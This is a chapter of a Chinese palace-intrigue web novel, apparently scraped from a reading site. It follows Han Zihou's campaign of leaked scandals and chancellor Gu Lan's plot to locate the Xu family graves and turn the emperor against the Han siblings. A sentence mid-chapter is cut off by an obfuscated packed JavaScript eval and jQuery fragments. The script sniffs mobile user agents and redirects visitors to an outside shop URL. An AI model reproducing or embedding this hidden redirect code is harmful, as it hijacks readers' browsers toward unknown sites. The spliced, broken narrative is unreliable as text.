付药瑛的身份在京城已经深深扎根，此刻，他坐在小院的书房里，面前摊着厚厚一叠纸。全是这三个月来搜集的朝中动向。顾岚与萧子由的密谈，禁卫军的调动，各部官员的升迁贬谪，事无巨细。


    他拿起一份最新的密报，仔细看完，嘴角浮起一丝冷笑。


    那夜皇宫灯火通明，禁卫军周统领被急召入宫，次日便开始搜全城戒严。


    周统领手下副统领是他的人，那人传出的消息说，前几日萧子由突然病发，是因为与顾岚不和。


    “老狐狸早晚自食恶果。”韩子厚喃喃。


    顾岚他凡事自己不出面，喜欢暗中点火，让萧子由把怒火全撒在韩家兄妹身上。等萧子由真与韩家动了手，顾岚便坐收渔利。他想两头都不得罪，两头都有退路。


    可萧子由可不是那大度的君主，任他两头讨好。只要他意识到顾岚在利用他，这对君臣之间，便会出现裂痕。裂痕一旦出现，就会越来越大，直到彻底崩裂。


    另一份是从章台前线传来的消息：徐将军被困，失联八日。如今人已回营，虽然受了些伤，但性命无碍。


    韩子厚捏着密报的手指微微发颤。


    韩子厚闭上眼睛，深吸一口气，将那股涌上来的情绪压下去。现在不是考虑这些的时候。清宴已经脱险，接下来要做的，是让萧子由和顾岚自顾不暇，顾不上再去章台添乱。


    他铺开一张白纸写信。


    这封信是给吏部侍郎的。这位侍郎姓孟，是顾岚的门生，但近来因为一个肥缺被顾岚给了别人，心生不满。韩子厚这封信，便是要“无意中”告诉他：那个肥缺，其实顾岚本就没打算给他，而是留给他新收的小妾的弟弟的。


    一封不够，那就十封。韩子厚这三个月，早已将朝中官员的关系网摸得一清二楚。京城里暗流涌动。


    先是有人“偶然”发现，顾府管家在城外的庄子里，养着一群来历不明的私兵。虽然人数不多，但“私蓄甲兵”四个字，传到萧子由耳朵里，也让他皱眉头。


    接着又有消息传出，说禁卫军周统领的侄子，在城南开了一家赌坊，专门坑骗良家子弟。周统领本人虽不知情，但“纵容亲眷为恶”这顶帽子，也够他喝一壶。


    然后是户部、吏部、刑部……每隔几天，就有一桩不大不小的“丑闻”被抖出来。每一桩都跟顾岚的党羽有关，每一桩都像一根刺，扎在萧子由心里。


    萧子由一边痛恨着没办法收拾愈发嚣张的顾氏，一边痛恨着让他病痛缠身的韩退之。


    韩子厚拿起最后一张薄薄的书，“顾府的人，在查当年韩夫人安葬之地。”


    韩子厚的瞳孔骤然收缩。来人是他安插在顾府外围的眼线，一个卖柴的樵夫，专门盯着顾府后门的动静。据他说，三日前，顾府的管家亲自出面，找了一个当年在礼部当差的老吏，打听韩退之之母的葬地。


    “那老吏说，当年韩夫人的丧事办得极简，据说只有韩家大公子一人扶灵出城，葬在了何处，外人实在不知。”樵夫压低声音，“顾府的人不死心，又去城外的义庄打听，还找了几个老风水先生。”


    韩子厚的手指在桌上轻轻叩击，面上不动声色，心里却已掀起惊涛骇浪。


    顾岚那个老狐狸，查他母亲的葬地做什么？


    答案几乎不需要想——挖坟鞭尸，挫骨扬灰。这是对付“逆臣”最狠毒的手段，也是最能刺激活人的方式。顾岚这是要拿死人做文章，逼他们兄妹露面，或者……逼他们疯。


    好在，当年确实是大哥亲自安葬的母亲，葬在何处，只有大哥一人知道。顾岚就算把京城翻个底朝天，也找不到。


    但清宴的父亲和母亲呢？


    韩子厚的脸色阴沉下来。徐季清夫妇当年战死章台，尸身被送回京城安葬。那坟茔的位置，顾岚若想查，根本不是什么难事。


    他不知道顾岚那个老东西的下限在哪里，但他不敢赌。


    “传话给城外的人，”韩子厚低声吩咐，“日夜盯着徐家祖坟。若有可疑人等靠近，立刻来报。”


    “是。”


    夜色渐深。韩子厚独自坐在昏暗的陋室里，面前的油灯明明灭灭。他的手攥紧了桌角，指节泛白。


    而在数十里外的皇宫深处，另一场对话正在发生。


    萧子由醒了。


    这位年轻的皇帝靠在龙榻上，面色苍白，眼神却已恢复平静。侍从端来汤药，他一勺勺慢慢喝着，目光落在帐顶的龙纹上，不知在想什么。


    顾岚还守在床前。


    这个年过六旬的老臣，从萧子由昏迷到苏醒，几乎寸步不离。此刻他坐在榻边的锦墩上，身形有些佝偻，脸上的疲惫显而易见，眼睛却一刻也没离开过萧子由。


    “相爷还在？”萧子由放下药碗，声音沙哑，“朕以为你回去了。”


    “老臣放心不下。”顾岚欠了欠身，声音里带着恰到好处的惶恐与关切，“陛下龙体欠安，老臣岂能安寝？”


    萧子由没说话。他太了解顾岚了——这个老狐狸不会做无用之功，守在这里，必有下文。


    果然，顾岚沉默片刻，缓缓开口：


    “陛下，老臣有一事……想将功赎过。”


    萧子由抬眼看他。


    “前些日子，老臣一直在想，韩退之、韩子厚、徐清宴三兄妹，为何会走到这一步？”顾岚的声音低沉，像在自言自语，“老臣想来想去，觉得根子还在五年前。”


    “五年前？”


    “正是。五年前，徐季清将军夫妇战死章台。从那时起，徐清宴就对朝廷、对萧家……有了心结。”顾岚小心翼翼地选择着用词，“老臣斗胆问一句，陛下可还记得，徐将军夫妇当年……葬在何处？”


    萧子由端药碗的手顿住了。


    他当然记得。


    那一年，他那个该死的爹暗中设计除掉了一直与自己作对的徐季清，想要借此掌握军权。可他没想到，徐季清死后，他麾下的奉节军竟全部战死在章台县。


    全军覆没。


    从那以后，徐清宴就彻底断了与他的往来。那年她站在徐府门口，冷冷地看着前来吊唁的人，一个人也不让进。


    葬礼那天，萧子由也去了。他在徐府门外站了整整两个时辰，徐清宴始终没有开门。后来他辗转打听到徐家祖坟的位置，每次都只远远站着，没有靠近过。


    他愧疚吗？有一点。


    但他更多是觉得委屈——他萧子由又没杀徐季清，是他那个爹干的。他也觉得他爹早该死了，所以把他杀了。


    这些年他对徐清宴兄妹也算仁至义尽，韩退之与他合作时，他从未为难过；徐清宴在边关，也未直接卸下她女子的兵权。他们凭什么把所有账都算在他头上？


    如今倒好，直接反了。萧子由的脸色阴晴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291519|157343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不定。愧疚、委屈、愤怒，种种情绪在心底翻涌，最后沉淀成一种复杂的、难以言说的滋味。


    顾岚一直观察着他的神色，此刻已猜出八九分。


    “老臣知道，陛下与徐家兄妹，到底是有些情分的。”顾岚叹了口气，语气愈发恳切，“可如今韩退之、韩子厚、徐清宴三人，一个假死遁逃，一个潜伏京城，一个拥兵自重——他们这是铁了心要与朝廷为敌啊。”


    他顿了顿，凑近了些，声音压得更低：


    “老臣斗胆，想为陛下分忧。只需要陛下点个头，后面的事，自有老臣这把老骨头去担着。无论成败，都与陛下无关。”


    萧子由盯着他，目光锐利：“你想做什么？”


    顾岚没有正面回答，只是深深一揖：“陛下只需告诉老臣，徐将军夫妇葬在何处。其余的事……陛下不知道，也不需要知道。”


    萧子由沉默了很久。他知道顾岚想做什么，他萧子由也不在乎名声。


    可是……


    他想起这自己一身的病痛。韩退之假死，毒害他；韩子厚潜伏京城，至今抓不到人影；徐清宴起兵造反，章台那边传来的消息一日比一日糟。他们是真反了，没给他留半点情面。


    既然他们不仁，他何必有义？


    “朕不知道。”萧子由最终说，声音冷漠，“你下去吧，朕再想想。”


    顾岚眼底闪过一丝笑意，面上却恭恭敬敬地叩首告退。


    出了寝宫，顾岚的脚步没有丝毫犹豫。他穿过长长的宫道，在一个偏僻的角门外停下，对等候多时的内侍低声道：


    “去请禁卫军周统领，就说老夫有要事相商。”


    一个时辰后，一份加急密报被送到萧子由案头。


    萧子由展开密报，只看了几行，脸色就彻底变了。


    “韩退之未死，化名潜伏京城，近日曾在城南一带出没……”


    下面的话，萧子由已经看不清了。


    他的手在发抖，胸口剧烈起伏，一股怒火从心底直冲头顶。韩退之没死！他果然没死！


    “来人！”


    寝宫的灯火亮了一夜。


    天亮时分，萧子由的手紧紧攥着顾岚的手腕，力道大得几乎要捏碎老人的骨头。他的双眸通红，像一头受伤的野兽，声音沙哑而狰狞：


    “朕要他们兄妹，为此付出代价！”


    顾岚低着头，任由萧子由攥着，姿态恭敬而顺从。只有在他垂下的眼睑下，在那片无人看见的阴影里，浮起一丝微不可察的笑意。


    那条老狐狸的尾巴，终于轻轻摇了摇。


    城外的陋室里，韩子厚收到了一条简短的口信：


    “皇宫昨夜灯火通明，禁卫军周统领深夜入宫，丑时方出。今日一早，周统领手下亲兵开始秘密调查城南一带的闲杂人等。”


    韩子厚放下纸条，望向窗外渐渐亮起的天色。


    风起了。


    他站起身，将密信投入火盆，看着它们化为灰烬。然后披上一件旧棉袍，拎起早就准备好的包袱，推门走进了晨雾之中。


    半个时辰后，一队禁卫军冲进那间陋室，只看到一盆冰冷的灰烬。


    领头的校尉气得直跺脚，却不知道，他们要抓的人，此刻正慢悠悠地走在通往礼部尚书大宅的官道上。


    嘴角噙着一丝冷笑。顾岚，萧子由，你们最好真的能抓到我才好。